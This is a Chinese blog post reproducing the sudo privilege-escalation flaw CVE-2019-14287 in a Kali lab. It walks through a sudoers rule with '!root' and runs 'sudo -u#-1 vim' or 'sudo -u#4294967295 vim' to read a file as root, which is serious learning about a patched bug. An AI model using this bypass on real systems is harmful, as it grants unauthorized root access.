sudo提权漏洞复现

漏洞ID:CVE-2019-14287

漏洞公布日期:2019年10月14日

影响范围:sudo 1.8.28 之前的所有版本

复现环境:kali

因为sudo是平时用得较多的一个命令,前两天得知了这个漏洞,就复现一下。

复现

先查看sudo版本

sudo -V

sudo版本低于1.8.28

创建一个test用户用于本次测试

useradd test
passwd test

编辑/etc/sudoers文件

vim /etc/sudoers

添加

test ALL = (ALL, !root) /usr/bin/vim

这里表示用户test以任意非root身份运行/usr/bin/vim,执行vim命令

如果是直接添加:

test ALL = (ALL, !root) /usr/bin/bash

是不是就可以直接提权呢?

test用户查看本地1文件,显示权限不够

然后我们输入

sudo -u#-1 vim

或者

sudo -u#4294967295 vim

只要用户在使用sudo命令时指定UID-14294967295,就可以以root身份执行命令。这是因为命令在将UID转换为对应用户时,会将-14294967295这两个异常数字视为0,而0root用户的UID,因此可以实现在普通用户下执行root用户权限。

vim界面下尝试读取1文件

:!cat ./1

读取成功

总结

该漏洞需要实现的话需要root用户在sudoers文件中添加一些非标准的配置,个人认为漏洞影响范围不大,因为谁没事会在sudoers中添加这些配置呢。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 原文:https://www.cnblogs.com/mark-zh/p/11679015.html 利用前提: ...
    Liver_阅读 629评论 0 0
  • 2019,过半了! 六月最后一天结束了。一地鸡毛的生活继续着。 经过了纠结痛苦没有收获的五月。过完了忙碌,充实,心...
    杜学智阅读 111评论 0 0
  • 看到“妈妈”两个字,我们想到的是什么呢?应该是爱、温暖、港湾、无私、伟大……这些词吧,“羁绊”这个词呢?它可能...
    sophilight阅读 2,215评论 0 1
  • 今日开车,在一处掉头时,因为没有留意地面的水泥墩,撞上了。然而奇怪的是,车子竟毫发无损。我觉得这是一个预示...
    慕敖阅读 416评论 6 7
  • 眨眼之间,又过了三个月,小果子九个月了。 有时候出门在外看到比果子小月龄的宝宝,不惊感叹时间怎可过得如此之快,而我...
    Unnno_onnna阅读 715评论 2 51